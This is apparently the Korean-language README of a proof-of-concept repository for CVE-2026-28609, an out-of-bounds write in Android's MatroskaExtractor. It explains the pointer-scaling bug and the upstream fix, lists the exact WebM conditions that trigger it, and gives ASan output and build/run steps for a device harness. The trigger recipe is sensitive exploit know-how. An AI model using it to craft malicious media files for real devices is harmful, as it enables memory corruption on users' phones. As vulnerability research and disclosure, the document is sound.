
CVE-2026-28609에 대한 개념 증명 및 계측 재현 하네스로, 빅엔디언 PCM 오디오 트랙이 포함된 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위를 벗어난 쓰기 취약점입니다.
CVE-2026-28609에 대한 개념 증명(Proof-of-concept), 계측된 재현 하네스 및 기술 분석 문서로, 빅엔디언 PCM 오디오 트랙을 포함한 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위 초과 쓰기입니다.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid의 MatroskaExtractor에 있는 MatroskaSource::read()에는
프레임 데이터 포인터를 바이트 오프셋인 frame->range_offset()을 더하기 전에
uint16_t *로 캐스팅하는 PCM 빅엔디언 바이트 스왑 루프가 포함되어 있습니다.
uint16_t *에 대한 C 포인터 연산은 오프셋을 sizeof(uint16_t) = 2배로
스케일링하기 때문에, 결과 포인터는 버퍼 시작 지점으로부터 range_offset 바이트가
아니라 2 * range_offset 바이트 뒤를 가리킵니다.
range_offset > 0일 때, 루프는 프레임의 MediaBuffer 끝을 넘어 하나 이상의
바이트를 읽고 씁니다. ASan이 없는 기기에서는 범위 초과 읽기가 조용히 성공하고,
범위 초과 쓰기는 버퍼 바로 다음 바이트를 손상시킵니다.
취약한 줄:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
업스트림 수정은 오프셋을 적용하기 전에 포인터를 uint8_t *로 캐스팅합니다:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
실제 Android 14 기기에서 AddressSanitizer로 검증된, CVE-2026-28609에 대한 동작하고 재현 가능한 트리거입니다. 이 저장소에는 다음이 포함됩니다:
range_offset을 갖게 하는 WebM 파일을 생성하는 Python 생성기.dlopen을 통해 추출기 플러그인을 로드하고, GETEXTRACTORDEF를 호출하며, 파일에서 프레임을 읽는 C-ABI 하네스.취약한 기기에서의 결과는 다음과 같습니다:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
취약한 분기가 실행되려면 다음 조건이 모두 충족되어야 합니다:
| 조건 | 출처 |
|---|---|
| 트랙이 PCM임 | mType == PCM |
| 빅엔디언 | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16비트 샘플 | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
프레임의 range_offset이 0이 아님 | set_range(offset, ...)에 의해 설정됨 |
처음 세 가지는 코덱 ID A_PCM/INT/BIG와 비트 심도 16으로 트랙을 선언하면 충족됩니다. 네 번째가 흥미로운 부분입니다.
range_offset은 readBlock()에서 다음 조건 하에 호출되는 MatroskaSource::setWebmBlockCryptoInfo()에서만 0이 아닌 값으로 설정됩니다:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
따라서 트리거 파일은 다음 조건을 충족해야 합니다:
mIsWebm — EBML DocType 요소가 "matroska"가 아닌
"webm"이어야 합니다.mEncrypted — 트랙이 ContentEncodingType = 1(암호화)과
ContentEncKeyID를 포함한 ContentEncodings를 선언해야 합니다.0x1)가 0이어야 합니다. 이는 프레임이
암호화되지 않았지만 콘텐츠 인코딩되었음을 나타냅니다. 이 경우
setWebmBlockCryptoInfo의 else 분기가 실행되며,
이 분기에서 set_range(1, len - 1)을 호출합니다.스트립 이후 모든 프레임에 대해 range_offset = 1이 됩니다. 그런 다음
취약한 분기에서 (uint16_t *)data + 1을 계산하여 2바이트를 전진시키고,
루프는 [2, 2 + range_length) 범위의 바이트를 읽고 씁니다 — 이는
65바이트 할당(64바이트 프레임 + 1바이트 신호)의 끝에서 1바이트를
벗어난 위치입니다.
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
신호 바이트 0x00은 set_range(1, 64)에 의해 제거되어, 65바이트 할당 내부에 64바이트 프레임이 남습니다. 취약한 포인터 연산은 그런 다음 바이트 오프셋 2부터 65까지에 씁니다.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
빌드 전에 사용자가 클론하는 업스트림 종속성:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make가 설치된 Linux 또는 WSL2$ANDROID_NDK_HOME으로 설정PATH에 있는 adb (Linux, 또는 WSL의 adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
AOSP 트리가 모듈식 추출기 레이아웃(av/media/module/extractors/mkv/)을 사용하는 경우 추가 조정이 필요하지 않습니다.
이전 레이아웃(av/media/libstagefright/matroska/)을 사용하는 경우 MKV 변수에 대한 빌드 스크립트를 참조하십시오.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
ANDROID_API를 대상 기기에 맞게 설정하세요 (예: Android 14의 경우 34).
./scripts/run.sh
run.sh 스크립트는 다음 네 단계를 순서대로 실행합니다:
build_foundation.sh — av/media/module/foundation/ 및
av/media/module/metadatautils/의 28개 소스 파일을
plugin-asan/libstagefright_foundation_asan.a로 컴파일합니다.build_plugin.sh — MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc를 컴파일하고 이를 아카이브와 링크하여
libmkvextractor_asan.so를 생성합니다.build_harness.sh — -shared-libsan으로 harness_c_abi를 컴파일합니다.poc.mkv를
/data/local/tmp로 푸시하고 하네스를 실행합니다.빌드 스크립트는 누락된 include 루트를 자동으로 탐색합니다. 컴파일러가
fatal error: 'X' file not found를 보고하면, 스크립트는
의존성 트리를 검색하여 X의 상위 디렉터리를 찾고
이를 include_dirs.conf에 추가합니다. 이것이 첫 빌드 중에
include_dirs.conf가 커지는 이유입니다. 모든 헤더가 발견되면
파일은 안정화되고 이후 빌드는 결정적입니다.
취약한 기기에서 하네스는 다음을 출력합니다: